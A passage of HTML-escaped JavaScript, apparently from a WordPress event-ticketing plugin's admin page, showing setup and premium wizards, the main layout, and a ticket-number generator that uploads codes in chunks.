				$(&#039;&lt;p/&gt;&#039;).text(__(&quot;Let&#039;s configure your ticketing system.&quot;, &#039;event-tickets-with-ticket-scanner&#039;)).appendTo(welcome);
				$(&#039;&lt;p/&gt;&#039;).text(__(&#039;This takes less than 2 minutes.&#039;, &#039;event-tickets-with-ticket-scanner&#039;)).appendTo(welcome);
				dlg.append(welcome);

				dlg.dialog(&#039;option&#039;, &#039;buttons&#039;, [
					{text: __(&quot;Skip, I&#039;ll configure manually&quot;, &#039;event-tickets-with-ticket-scanner&#039;), class: &#039;button&#039;, click: function() { skipWizard(); }},
					{text: __(&#039;Start Setup&#039;, &#039;event-tickets-with-ticket-scanner&#039;), class: &#039;button button-primary&#039;, click: function() { currentStep = 2; renderStep(); }}
				]);
			}
			else if (currentStep === 2) {
				var wrap = $(&#039;&lt;div class=&quot;saso-wizard-usecases&quot;/&gt;&#039;);
				_wizardUseCases.forEach(function(uc) {
					var card = $(&#039;&lt;div class=&quot;saso-wizard-usecase&quot;/&gt;&#039;).attr(&#039;data-preset&#039;, uc.key);
					if (uc.key === selectedPreset) card.addClass(&#039;selected&#039;);
					$(&#039;&lt;span class=&quot;saso-wizard-usecase-icon&quot;/&gt;&#039;).html(uc.icon).appendTo(card);
					$(&#039;&lt;span class=&quot;saso-wizard-usecase-label&quot;/&gt;&#039;).text(uc.label).appendTo(card);
					$(&#039;&lt;span class=&quot;saso-wizard-usecase-desc&quot;/&gt;&#039;).text(uc.desc).appendTo(card);
					card.on(&#039;click&#039;, function() {
						selectedPreset = uc.key;
						overrides = {};
						wrap.find(&#039;.saso-wizard-usecase&#039;).removeClass(&#039;selected&#039;);
						$(this).addClass(&#039;selected&#039;);
						updateButtons();
					});
					wrap.append(card);
				});
				dlg.append(wrap);

				function updateButtons() {
					dlg.dialog(&#039;option&#039;, &#039;buttons&#039;, [
						{text: __(&#039;Back&#039;, &#039;event-tickets-with-ticket-scanner&#039;), class: &#039;button&#039;, click: function() { currentStep = 1; renderStep(); }},
						{text: __(&#039;Next&#039;, &#039;event-tickets-with-ticket-scanner&#039;), class: &#039;button button-primary&#039;, disabled: !selectedPreset, click: function() {
							if (!selectedPreset) return;
							currentStep = 3;
							renderStep();
						}}
					]);
				}
				updateButtons();
			}
			else if (currentStep === 3) {
				var questions = _wizardPresetQuestions[selectedPreset] || [];
				var qWrap = $(&#039;&lt;div class=&quot;saso-wizard-questions&quot;/&gt;&#039;);

				var ucLabel = &#039;&#039;;
				_wizardUseCases.forEach(function(uc) { if (uc.key === selectedPreset) ucLabel = uc.label; });
				$(&#039;&lt;p/&gt;&#039;).css({fontSize:&#039;14px&#039;,color:&#039;#1d2327&#039;,margin:&#039;0 4px 10px&#039;,fontWeight:&#039;600&#039;}).text(ucLabel).appendTo(qWrap);

				questions.forEach(function(q) {
					var row = $(&#039;&lt;div class=&quot;saso-wizard-question&quot;/&gt;&#039;);
					$(&#039;&lt;span class=&quot;saso-wizard-question-label&quot;/&gt;&#039;).text(q.label).appendTo(row);
					var toggle = $(&#039;&lt;label class=&quot;saso-wizard-toggle&quot;/&gt;&#039;);
					var val = typeof overrides[q.key] !== &#039;undefined&#039; ? overrides[q.key] : q.preset;
					var input = $(&#039;&lt;input type=&quot;checkbox&quot;/&gt;&#039;).prop(&#039;checked&#039;, !!val);
					input.on(&#039;change&#039;, function() {
						overrides[q.key] = $(this).prop(&#039;checked&#039;) ? 1 : 0;
					});
					toggle.append(input);
					toggle.append($(&#039;&lt;span class=&quot;slider&quot;/&gt;&#039;));
					row.append(toggle);
					qWrap.append(row);
				});

				if (!isPremium()) {
					var tip = $(&#039;&lt;div class=&quot;saso-wizard-tip&quot;/&gt;&#039;);
					$(&#039;&lt;strong/&gt;&#039;).text(&#039;&amp;#9889; &#039; + __(&#039;Tip: PDF attachment to email&#039;, &#039;event-tickets-with-ticket-scanner&#039;)).appendTo(tip);
					$(&#039;&lt;span/&gt;&#039;).text(__(&#039;With the Premium version you can attach PDF tickets directly to the order email — as individual files or merged into one PDF.&#039;, &#039;event-tickets-with-ticket-scanner&#039;)).appendTo(tip);
					qWrap.append(tip);
				} else {
					var premiumQuestions = [];
					if (selectedPreset === &#039;event&#039; || selectedPreset === &#039;daypass&#039;) {
						premiumQuestions.push({key: &#039;wcTicketAttachTicketToMailAsOnePDF&#039;, label: __(&#039;Attach all tickets as one PDF to the order email?&#039;, &#039;event-tickets-with-ticket-scanner&#039;), preset: 1});
					} else {
						premiumQuestions.push({key: &#039;wcTicketAttachTicketToMail&#039;, label: __(&#039;Attach PDF ticket to the order email?&#039;, &#039;event-tickets-with-ticket-scanner&#039;), preset: 1});
					}
					if (premiumQuestions.length &gt; 0) {
						var premLabel = $(&#039;&lt;p/&gt;&#039;).css({fontSize:&#039;13px&#039;,color:&#039;#2271b1&#039;,margin:&#039;10px 4px 6px&#039;,fontWeight:&#039;600&#039;}).text(__(&#039;Premium&#039;, &#039;event-tickets-with-ticket-scanner&#039;));
						qWrap.append(premLabel);
						premiumQuestions.forEach(function(q) {
							var row = $(&#039;&lt;div class=&quot;saso-wizard-question&quot;/&gt;&#039;);
							$(&#039;&lt;span class=&quot;saso-wizard-question-label&quot;/&gt;&#039;).text(q.label).appendTo(row);
							var toggle = $(&#039;&lt;label class=&quot;saso-wizard-toggle&quot;/&gt;&#039;);
							var val = typeof overrides[q.key] !== &#039;undefined&#039; ? overrides[q.key] : q.preset;
							var input = $(&#039;&lt;input type=&quot;checkbox&quot;/&gt;&#039;).prop(&#039;checked&#039;, !!val);
							input.on(&#039;change&#039;, function() {
								overrides[q.key] = $(this).prop(&#039;checked&#039;) ? 1 : 0;
							});
							toggle.append(input);
							toggle.append($(&#039;&lt;span class=&quot;slider&quot;/&gt;&#039;));
							row.append(toggle);
							qWrap.append(row);
						});
					}
				}

				dlg.append(qWrap);

				dlg.dialog(&#039;option&#039;, &#039;buttons&#039;, [
					{text: __(&#039;Back&#039;, &#039;event-tickets-with-ticket-scanner&#039;), class: &#039;button&#039;, click: function() { currentStep = 2; renderStep(); }},
					{text: __(&#039;Apply &amp; Finish&#039;, &#039;event-tickets-with-ticket-scanner&#039;), class: &#039;button button-primary&#039;, click: function() { applyPreset(); }}
				]);
			}
			else if (currentStep === 4) {
				var done = $(&#039;&lt;div class=&quot;saso-wizard-done&quot;/&gt;&#039;);
				$(&#039;&lt;span class=&quot;saso-wizard-done-icon&quot;/&gt;&#039;).html(&#039;&amp;#10003;&#039;).appendTo(done);
				$(&#039;&lt;h2/&gt;&#039;).text(__(&quot;You&#039;re all set!&quot;, &#039;event-tickets-with-ticket-scanner&#039;)).appendTo(done);

				var ucLabel2 = &#039;&#039;;
				_wizardUseCases.forEach(function(uc) { if (uc.key === selectedPreset) ucLabel2 = uc.label; });
				$(&#039;&lt;p/&gt;&#039;).text(sprintf(__(&#039;Your settings have been configured for %s.&#039;, &#039;event-tickets-with-ticket-scanner&#039;), ucLabel2)).appendTo(done);

				var nextSteps = $(&#039;&lt;ol class=&quot;saso-wizard-done-steps&quot;/&gt;&#039;);
				$(&#039;&lt;li/&gt;&#039;).text(__(&#039;Create a ticket list&#039;, &#039;event-tickets-with-ticket-scanner&#039;)).appendTo(nextSteps);
				$(&#039;&lt;li/&gt;&#039;).text(__(&#039;Enable tickets on a WooCommerce product&#039;, &#039;event-tickets-with-ticket-scanner&#039;)).appendTo(nextSteps);
				$(&#039;&lt;li/&gt;&#039;).text(__(&#039;Place a test order&#039;, &#039;event-tickets-with-ticket-scanner&#039;)).appendTo(nextSteps);
				done.append(nextSteps);
				dlg.append(done);

				var scannerUrl = myAjax.ticket_url + &#039;scanner/&#039;;
				dlg.dialog(&#039;option&#039;, &#039;buttons&#039;, [
					{text: __(&#039;Open Options&#039;, &#039;event-tickets-with-ticket-scanner&#039;), class: &#039;button&#039;, click: function() {
						closeDialog(dlg);
						var settingsBtn = $(&#039;[data-action=&quot;settings&quot;]&#039;);
						if (settingsBtn.length) settingsBtn.trigger(&#039;click&#039;);
					}},
					{text: __(&#039;Close&#039;, &#039;event-tickets-with-ticket-scanner&#039;), class: &#039;button button-primary&#039;, click: function() { closeDialog(dlg); }}
				]);
			}
		}

		function skipWizard() {
			_saveOptionValue(&#039;wizardCompleted&#039;, myAjax._plugin_version, function() {
				closeDialog(dlg);
			});
		}

		function applyPreset() {
			dlg.dialog(&#039;option&#039;, &#039;buttons&#039;, []);
			dlg.empty().html(&#039;&lt;div style=&quot;text-align:center;padding:40px 0;&quot;&gt;&#039; + _getSpinnerHTML(__(&#039;Applying settings...&#039;, &#039;event-tickets-with-ticket-scanner&#039;)) + &#039;&lt;/div&gt;&#039;);
			_makePost(&#039;applyWizardPreset&#039;, {preset: selectedPreset, overrides: JSON.stringify(overrides)}, function() {
				currentStep = 4;
				renderStep();
			}, function(err) {
				currentStep = 3;
				renderStep();
				alert(__(&#039;Error applying settings. Please try again.&#039;, &#039;event-tickets-with-ticket-scanner&#039;));
			});
		}

		dlg.dialog({
			title: __(&#039;Setup Wizard&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
			modal: true,
			width: 550,
			minHeight: 350,
			dialogClass: &#039;saso-wizard-dialog&#039;,
			closeOnEscape: false,
			buttons: [],
			open: function() { renderStep(); }
		});
	}

	// ── Premium Wizard (#233) ──────────────────────────────────────

	function __showPremiumWizard(force) {
		if (!isPremium()) return;
		if (!force) {
			let val = _getOptions_getValByKey(&#039;premiumWizardCompleted&#039;);
			if (val &amp;&amp; val !== &#039;&#039;) return;
			// Don&#039;t show if setup wizard hasn&#039;t been completed yet (let that run first)
			let setupVal = _getOptions_getValByKey(&#039;wizardCompleted&#039;);
			if (!setupVal || setupVal === &#039;&#039;) return;
		}

		let dlg = $(&#039;&lt;div class=&quot;saso-wizard&quot;/&gt;&#039;);
		let step = 1;

		function renderStep() {
			dlg.empty();
			if (step === 1) {
				dlg.html(
					&#039;&lt;div style=&quot;text-align:center;margin:20px 0 10px;&quot;&gt;&#039; +
						&#039;&lt;span style=&quot;font-size:48px;&quot;&gt;&amp;#11088;&lt;/span&gt;&#039; +
						&#039;&lt;h2 style=&quot;margin:10px 0 5px;&quot;&gt;&#039; + __(&#039;Premium Activated!&#039;, &#039;event-tickets-with-ticket-scanner&#039;) + &#039;&lt;/h2&gt;&#039; +
						&#039;&lt;p style=&quot;color:#666;&quot;&gt;&#039; + __(&#039;You now have access to these features:&#039;, &#039;event-tickets-with-ticket-scanner&#039;) + &#039;&lt;/p&gt;&#039; +
					&#039;&lt;/div&gt;&#039; +
					&#039;&lt;ul style=&quot;margin:0 0 15px 20px;line-height:1.8;&quot;&gt;&#039; +
						&#039;&lt;li&gt;&#039; + __(&#039;PDF ticket attachment in emails&#039;, &#039;event-tickets-with-ticket-scanner&#039;) + &#039;&lt;/li&gt;&#039; +
						&#039;&lt;li&gt;&#039; + __(&#039;Ticket Designer (custom PDF templates)&#039;, &#039;event-tickets-with-ticket-scanner&#039;) + &#039;&lt;/li&gt;&#039; +
						&#039;&lt;li&gt;&#039; + __(&#039;Badge printing&#039;, &#039;event-tickets-with-ticket-scanner&#039;) + &#039;&lt;/li&gt;&#039; +
						&#039;&lt;li&gt;&#039; + __(&#039;Seating plans&#039;, &#039;event-tickets-with-ticket-scanner&#039;) + &#039;&lt;/li&gt;&#039; +
					&#039;&lt;/ul&gt;&#039; +
					&#039;&lt;div style=&quot;background:#f0f6fc;border:1px solid #c3d9ed;border-radius:6px;padding:12px;margin:10px 0;&quot;&gt;&#039; +
						&#039;&lt;strong&gt;&#039; + __(&#039;Recommended:&#039;, &#039;event-tickets-with-ticket-scanner&#039;) + &#039;&lt;/strong&gt; &#039; +
						__(&#039;Enable PDF ticket attachment in emails? Customers receive their tickets as PDF directly in the order confirmation email.&#039;, &#039;event-tickets-with-ticket-scanner&#039;) +
					&#039;&lt;/div&gt;&#039;
				);
				dlg.dialog(&#039;option&#039;, &#039;buttons&#039;, [
					{
						text: __(&#039;Enable Recommended Settings&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
						class: &#039;button button-primary&#039;,
						click: function() {
							dlg.html(&#039;&lt;div style=&quot;text-align:center;padding:40px;&quot;&gt;&#039; + _getSpinnerHTML() + &#039;&lt;/div&gt;&#039;);
							dlg.dialog(&#039;option&#039;, &#039;buttons&#039;, []);
							_makePost(&#039;applyPremiumDefaults&#039;, {}, function(r) {
								if (OPTIONS.mapKeys[&#039;premiumWizardCompleted&#039;]) OPTIONS.mapKeys[&#039;premiumWizardCompleted&#039;].value = r._version || &#039;1&#039;;
								step = 2;
								renderStep();
							});
						}
					},
					{
						text: _x(&#039;Skip&#039;, &#039;button&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
						class: &#039;button&#039;,
						click: function() {
							_saveOptionValue(&#039;premiumWizardCompleted&#039;, &#039;1&#039;, function() {
								if (OPTIONS.mapKeys[&#039;premiumWizardCompleted&#039;]) OPTIONS.mapKeys[&#039;premiumWizardCompleted&#039;].value = &#039;1&#039;;
								dlg.dialog(&#039;close&#039;);
								dlg.dialog(&#039;destroy&#039;);
								dlg.remove();
							});
						}
					}
				]);
			} else if (step === 2) {
				dlg.html(
					&#039;&lt;div style=&quot;text-align:center;margin:20px 0 10px;&quot;&gt;&#039; +
						&#039;&lt;span style=&quot;font-size:48px;&quot;&gt;&amp;#9989;&lt;/span&gt;&#039; +
						&#039;&lt;h2 style=&quot;margin:10px 0 5px;&quot;&gt;&#039; + __(&#039;Premium settings applied!&#039;, &#039;event-tickets-with-ticket-scanner&#039;) + &#039;&lt;/h2&gt;&#039; +
					&#039;&lt;/div&gt;&#039; +
					&#039;&lt;ul style=&quot;margin:0 0 15px 20px;line-height:1.8;&quot;&gt;&#039; +
						&#039;&lt;li&gt;&#039; + __(&#039;PDF attachment in emails: enabled&#039;, &#039;event-tickets-with-ticket-scanner&#039;) + &#039;&lt;/li&gt;&#039; +
						&#039;&lt;li&gt;&#039; + __(&#039;Merge into one PDF: enabled&#039;, &#039;event-tickets-with-ticket-scanner&#039;) + &#039;&lt;/li&gt;&#039; +
						&#039;&lt;li&gt;&#039; + __(&#039;Max attachments: 21&#039;, &#039;event-tickets-with-ticket-scanner&#039;) + &#039;&lt;/li&gt;&#039; +
					&#039;&lt;/ul&gt;&#039; +
					&#039;&lt;p style=&quot;color:#666;text-align:center;&quot;&gt;&#039; + __(&#039;You can change these anytime in Options.&#039;, &#039;event-tickets-with-ticket-scanner&#039;) + &#039;&lt;/p&gt;&#039;
				);
				dlg.dialog(&#039;option&#039;, &#039;buttons&#039;, [
					{
						text: __(&#039;Close&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
						class: &#039;button button-primary&#039;,
						click: function() {
							dlg.dialog(&#039;close&#039;);
							dlg.dialog(&#039;destroy&#039;);
							dlg.remove();
						}
					}
				]);
			}
		}

		dlg.dialog({
			title: __(&#039;Premium Features&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
			modal: true,
			width: 480,
			minHeight: 280,
			dialogClass: &#039;saso-wizard-dialog&#039;,
			closeOnEscape: false,
			buttons: [],
			open: function() { renderStep(); }
		});
	}

	class Layout {
		constructor(){
			DIV.addClass(&quot;sngmbh_container&quot;);
			this.div_liste = $(&#039;&lt;div class=&quot;et-card&quot;/&gt;&#039;).html(_getSpinnerHTML());
			this.div_codes = $(&#039;&lt;div class=&quot;et-card&quot;/&gt;&#039;).html(_getSpinnerHTML());
			this.div_spinner = $(&#039;&lt;div class=&quot;et-spinner-overlay&quot;/&gt;&#039;).html(_getSpinnerHTML(&quot;loading&quot;));
			$(&quot;body&quot;).append(this.div_spinner);
		}
		renderMainBody() {
			let versionNotices = __showVersionNotices();
			let infoBoxFirstSteps = __showFirstSteps();
			__showSetupWizard();
			__showPremiumWizard();

			// display upgrade to premium link
			if (!isPremium()) {
				let btn_upgrade = $(&#039;&lt;a/&gt;&#039;)
					.html(&#039;&lt;img src=&quot;&#039;+myAjax._plugin_home_url+&#039;/img/button_premium_icon.gif&quot; alt=&quot;&quot; class=&quot;event-tickets-with-ticket-scanner-upgrade-icon&quot;&gt;&#039; + _x(&#039;Upgrade&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;))
					.addClass(&quot;event-tickets-with-ticket-scanner-upgrade-btn&quot;)
					.attr(&quot;href&quot;, getPremiumProductURL())
					.attr(&quot;target&quot;, &quot;_blank&quot;);
				$(&#039;body&#039;).find(&#039;#event-tickets-with-ticket-scanner-header-actions&#039;).html(btn_upgrade);
			}

			let div_body = $(&#039;&lt;div/&gt;&#039;);
			div_body.append(
				$(&#039;&lt;div class=&quot;event-tickets-with-ticket-scanner-topbar&quot;&gt;&#039;)
					.html($(&#039;&lt;div/&gt;&#039;).addClass(&quot;event-tickets-with-ticket-scanner-topbar-left&quot;))
					.append(_displaySettingAreaButton())
			);
			if (versionNotices) {
				div_body.append(versionNotices);
			}
			if (infoBoxFirstSteps) {
				div_body.append(infoBoxFirstSteps);
			}
			div_body.append($(&#039;&lt;h3/&gt;&#039;).html(_x(&#039;List of tickets&#039;, &#039;title&#039;, &#039;event-tickets-with-ticket-scanner&#039;)));
			div_body.append($(&#039;&lt;p/&gt;&#039;).html(__(&quot;Organize your tickets in lists. You can assign tickets to a list.&quot;, &#039;event-tickets-with-ticket-scanner&#039;)));
			div_body.append(this.div_liste);
			div_body.append($(&#039;&lt;hr/&gt;&#039;));
			div_body.append($(&#039;&lt;h3/&gt;&#039;).html(_x(&quot;Event Tickets&quot;, &#039;title&#039;, &#039;event-tickets-with-ticket-scanner&#039;)));
			div_body.append(this.div_codes);
			return div_body;
		}
		renderAddCodes() {
			DIV.html(_getSpinnerHTML());
			getDataLists(()=&gt;{
				function __generateCodes() {
					// generate codes and
					let amount_codes = parseInt(input_amount_codes.val().trim(),10);
					if (isNaN(amount_codes) || amount_codes &lt; 1) {
						input_amount_codes.select();
						return alert(_x(&quot;Enter an amount of how many ticket numbers you need&quot;, &#039;title&#039;, &#039;event-tickets-with-ticket-scanner&#039;));
					}
					if (amount_codes &gt; _maxCodes) {
						input_amount_codes.val(_maxCodes);
						amount_codes = _maxCodes;

					}
					let uniq = {};
					let versuche = 0;
					if (serialCodeFormatterForm.isTypeNumbers()) { // numbers
						for(let a=0; a &lt; amount_codes; a++) {
							let code = serialCodeFormatterForm.generateSerialCode( a );
							if (typeof uniq[code] !== &quot;undefined&quot;) {
								continue;
							}
							uniq[code] = true;
						}
						versuche = amount_codes;
					} else {
						// erstmal kein check ob mit dem alphabet und die geforderte Menge an letters, unique codes erstellt werden können
						let counter = 0;
						let versuche_max = amount_codes * 1.5;
						while(counter &lt; amount_codes &amp;&amp; versuche &lt; versuche_max) {
							versuche++;
							let code = serialCodeFormatterForm.generateSerialCode();
							if (typeof uniq[code] !== &quot;undefined&quot;) {
								continue;
							}
							uniq[code] = true;
							counter++;
						}
					}
					return [Object.keys(uniq), versuche];
				} // __generateCodes

				let div = $(&#039;&lt;div&gt;&#039;).append(getBackButtonDiv());
				// eingabe generator options
				let div_generator = $(&#039;&lt;div class=&quot;et-card&quot;/&gt;&#039;).html(&#039;&lt;h3&gt;&#039;+_x(&#039;1. Ticket number generator (optional step)&#039;, &#039;title&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/h3&gt;&#039;).appendTo(div);
				div_generator.append($(&#039;&lt;p&gt;&#039;).html(__(&quot;You can generate ticket numbers.&quot;, &#039;event-tickets-with-ticket-scanner&#039;)));
				if (isPremium()) div_generator.append(&#039;&lt;p&gt;&#039;+__(&#039;Up 100.000 tickets generation per run. The limit is to prevent performance issues.&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;br&gt;&#039;+__(&#039;You can repeat the &quot;store tickets&quot; operations as often as needed.&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/p&gt;&#039;);
				// anzahl codes
				let div_amount_codes = _createDivInput(_x(&#039;Enter amount of needed ticket numbers&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)).appendTo(div_generator);
				let _maxCodes = myAjax._max.codes;
				if (!isPremium()) div_amount_codes.append(sprintf(/* translators: 1: amount of possible codes 2: premium info */__(&#039;%1$d max. %2$s up to 100.000 for each run&#039;, &#039;event-tickets-with-ticket-scanner&#039;), _maxCodes, getLabelPremiumOnly())+&#039;&lt;br&gt;&#039;);
				let input_amount_codes = $(&#039;&lt;input type=&quot;number&quot; required value=&quot;100&quot; min=&quot;1&quot; max=&quot;&#039;+_maxCodes+&#039;&quot;&gt;&#039;).appendTo(div_amount_codes);

				// predefine elements
				let serialCodeFormatterForm = _form_fields_serial_format(div_generator);
				serialCodeFormatterForm.render();

				let elem_clean_codebox = $(&#039;&lt;input checked type=&quot;checkbox&quot; /&gt;&#039;);
				$(&#039;&lt;div/&gt;&#039;).css({&quot;margin-bottom&quot;: &quot;15px&quot;,&quot;margin-right&quot;: &quot;15px&quot;})
					.html(elem_clean_codebox)
					.append(_x(&#039;Clear the ticket numbers list textarea field below to add fill in the new generated ticket numbers&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;))
					.appendTo(div_generator);

				let elem_create_cvv = $(&#039;&lt;input type=&quot;checkbox&quot; /&gt;&#039;);
				$(&#039;&lt;div/&gt;&#039;).css({&quot;margin-bottom&quot;: &quot;15px&quot;,&quot;margin-right&quot;: &quot;15px&quot;})
					.html(elem_create_cvv)
					.append(_x(&#039;Generate Code Verification Value (CVV) for each ticket number&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;))
					.appendTo(div_generator);

				// button generate
				div_generator.append($(&#039;&lt;button/&gt;&#039;).addClass(&quot;button-secondary&quot;).html(_x(&#039;Generate ticket numbers&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)).on(&quot;click&quot;, function(){
					let time_start = performance.now();
					btn_store_codes.prop(&quot;disabled&quot;, false);
					input_textarea.prop(&quot;disabled&quot;, false);
					if (elem_clean_codebox[0].checked) {
						input_textarea.html(&quot;&quot;);
					}
					input_textarea.prop(&quot;disabled&quot;, true);
					div_textarea_info.css(&quot;padding-bottom&quot;, &quot;50px&quot;).html(_getSpinnerHTML());
					setTimeout(function(){
						let r = __generateCodes();
						let codes = r[0];
						let secs = ((performance.now() - time_start) / 1000)+&quot;&quot;;
						if (elem_create_cvv[0].checked) {
							codes = codes.map(v=&gt;{
								return v += &#039;;&#039;+(Math.floor(Math.random() * 10000) + 10000).toString().substring(1);
							});
						}
						input_textarea.append(codes.join(&quot;\n&quot;)).append(&quot;\n&quot;);
						input_textarea.prop(&quot;disabled&quot;, false);
						div_textarea_info.html(sprintf(/* translators: 1: amount of created tickets 2: seconds 3: amount of runs */__(&#039;Created %1$d tickets. In %2$s seconds, with %3$d runs to find unique ticket numbers.&#039;, &#039;event-tickets-with-ticket-scanner&#039;), codes.length, secs.slice(0,5), r[1]));
						_calcLinesOfCodeTextArea();
					},250);
				}));

				// eingabe maske textarea
				function _calcLinesOfCodeTextArea() {
					let codesAmount = 0;
					input_textarea.val().trim().split(&#039;\n&#039;).forEach(v=&gt;{
						if (v.trim() !== &quot;&quot;) codesAmount++;
					});
					input_textarea_info.html(sprintf(/* translators: %d: amout of ticket numbers */__(&#039;contains %d tickets&#039;, &#039;event-tickets-with-ticket-scanner&#039;), codesAmount));
				}
				let div_textarea = $(&#039;&lt;div/&gt;&#039;).html(&#039;&lt;h3&gt;&#039;+_x(&#039;2. Ticket numbers to store on the server&#039;, &#039;title&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/h3&gt;&lt;p&gt;&#039;+__(&#039;One number per line and/or comma-separated (,). &lt;br&gt;If you want to add the CVV number then separate your ticket number with (;) and append your CVV number.&lt;br&gt;While storing the numbers to the server, it will check if the ticket number is unique and mark the ones, that are not.&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/p&gt;&#039;).appendTo(div);
				let div_textarea_info = $(&#039;&lt;div/&gt;&#039;).appendTo(div_textarea);
				let input_textarea = $(&#039;&lt;textarea&gt;&#039;).change(_calcLinesOfCodeTextArea).css(&quot;height&quot;,&quot;135px&quot;).css(&quot;width&quot;,&quot;100%&quot;).appendTo(div_textarea);
				let input_textarea_info = $(&#039;&lt;div/&gt;&#039;).appendTo(div_textarea);
				div_textarea.append(&quot;&lt;br&gt;&quot;);
				_calcLinesOfCodeTextArea();
				// list auswahl
				let div_code_list = _createDivInput(_x(&#039;Assign to this ticket list&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)).appendTo(div_textarea);
				let input_code_list = $(&#039;&lt;select&gt;&lt;option value=&quot;0&quot;&gt;&#039;+_x(&#039;None&#039;, &#039;option value&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/select&gt;&lt;/select&gt;&#039;).appendTo(div_code_list);
				DATA_LISTS.forEach(v=&gt;{
					input_code_list.append(&#039;&lt;option value=&quot;&#039;+v.id+&#039;&quot;&gt;&#039;+v.name+&#039;&lt;/option&gt;&#039;);
				});
				div_textarea.append(&quot;&lt;br&gt;&quot;);

				// additional prem fields
				if (isPremium() &amp;&amp; PREMIUM.addAddCodeFields) {
					div_textarea.append(PREMIUM.addAddCodeFields());
				}

				// button store codes
				if (!isPremium()) div_textarea.append(&#039;&lt;b&gt;&#039;+sprintf(/* translators: 1: max amout of ticket numbers 2: premium info */__(&#039;You can store up to %1$d. %2$s unlimited&#039;, &#039;event-tickets-with-ticket-scanner&#039;), myAjax._max.codes_total, getLabelPremiumOnly())+&#039;&lt;br&gt;&#039;);
				let btn_store_codes = $(&#039;&lt;button/&gt;&#039;);
				btn_store_codes.addClass(&quot;button-primary&quot;).html(_x(&#039;Store ticket numbers&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)).on(&quot;click&quot;, function(){
					// extract codes and
					let codes = [];
					let codesLines = input_textarea.val().split(&quot;\n&quot;).map(x=&gt;x.trim());
					codesLines.forEach(x=&gt;{
						x.split(&quot;,&quot;).forEach(y=&gt;{
							y = y.trim();
							y = destroy_tags(y);
							if (y != &quot;&quot;) codes.push(y);
						});
					});
					if (codes.length === 0) return;

					// sperre btn store codes
					btn_store_codes.prop(&quot;disabled&quot;, true);
					input_textarea.prop(&quot;disabled&quot;, true);

					div_textarea_info.append($(&#039;&lt;div/&gt;&#039;).addClass(&quot;notice notice-info&quot;).html(__(&quot;Each entry will turn green (successful stored) or red (NOT OK - duplicate entry on the server).&lt;br&gt;Scroll down and wait for all to finish.&lt;br&gt;In the textarea below you will find all the successful stored tickets.&quot;, &#039;event-tickets-with-ticket-scanner&#039;)));
					let _output = $(&#039;&lt;ol/&gt;&#039;).appendTo(div_textarea_info);
					div_textarea_info.append(&#039;&lt;h3&gt;&#039;+_x(&#039;Successful stored ticket numbers&#039;, &#039;title&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/h3&gt;&#039;);
					let output_textarea_codes_done = $(&#039;&lt;textarea disabled style=&quot;4px solid green;width:100%;height:150px;&quot;&gt;&lt;/textarea&gt;&#039;).appendTo(div_textarea_info);

					let list_id = parseInt(input_code_list.val(),10);

					function __addCodesInChunks(chunk_size) {
					    let dlg = $(&#039;&lt;div/&gt;&#039;).html(_getSpinnerHTML());
						dlg.dialog({title:_x(&#039;Importing&#039;, &#039;title&#039;, &#039;event-tickets-with-ticket-scanner&#039;),closeOnEscape: true,modal: true, dialogClass: &quot;no-close&quot;, close: function(event, ui){ abort=true; } });

						let abort = false;
						let counter_ok = 0;
						let counter_notok = 0;
						let counter_all = codes.length;
						const array_chunks = (array, chunk_size) =&gt; Array(Math.ceil(array.length / chunk_size)).fill().map((_, index) =&gt; index * chunk_size).map(begin =&gt; array.slice(begin, begin + chunk_size));
						let chunks = array_chunks(codes, chunk_size);
						function _addCodeChunk(idx) {
							if (abort) return;
							if (idx &gt;= chunks.length) {
								dlg.append(&#039;&lt;p&gt;&#039;+__(&#039;Import process finished&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/p&gt;&#039;);
								$(&#039;&lt;center/&gt;&#039;).append($(&#039;&lt;button class=&quot;button-primary&quot; /&gt;&#039;).html(_x(&#039;Ok&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)).on(&quot;click&quot;, ()=&gt;{ closeDialog(dlg); })).appendTo(dlg);
								return;
							}
							let arr = chunks[idx];
							arr.forEach(v=&gt;{
								let div_info_entry = $(&#039;&lt;li data-id=&quot;code_&#039;+v+&#039;&quot;/&gt;&#039;).html(v);
								_output.append(div_info_entry);
							});
							let attr = {&quot;codes&quot;:arr, &quot;list_id&quot;:list_id};
							if (isPremium() &amp;&amp; PREMIUM.addAddCodeFieldsData) {
								attr = PREMIUM.addAddCodeFieldsData(div_textarea, attr);
							}

							_makePost(&quot;addCodes&quot;, attr, function(data){
								counter_ok += data.ok.length;
								counter_notok += data.notok.length;
								if (myAjax._max.codes_total &gt; 0 &amp;&amp; myAjax._max.codes_total &lt;= parseInt(data.total_size)) {
									div_textarea_info.prepend(&#039;&lt;h3 style=&quot;color:red;&quot;&gt;&#039;+sprintf(/* translators: %d: total ticket count */_x(&#039;Your Limit of %d tickets is reached. Use the premium version to have unlimited tickets&#039;, &#039;title&#039;, &#039;event-tickets-with-ticket-scanner&#039;),myAjax._max.codes_total)+&#039;&lt;/h3&gt;&#039;);
								}
								let per = Math.ceil(((counter_ok+counter_notok)/counter_all)*100);
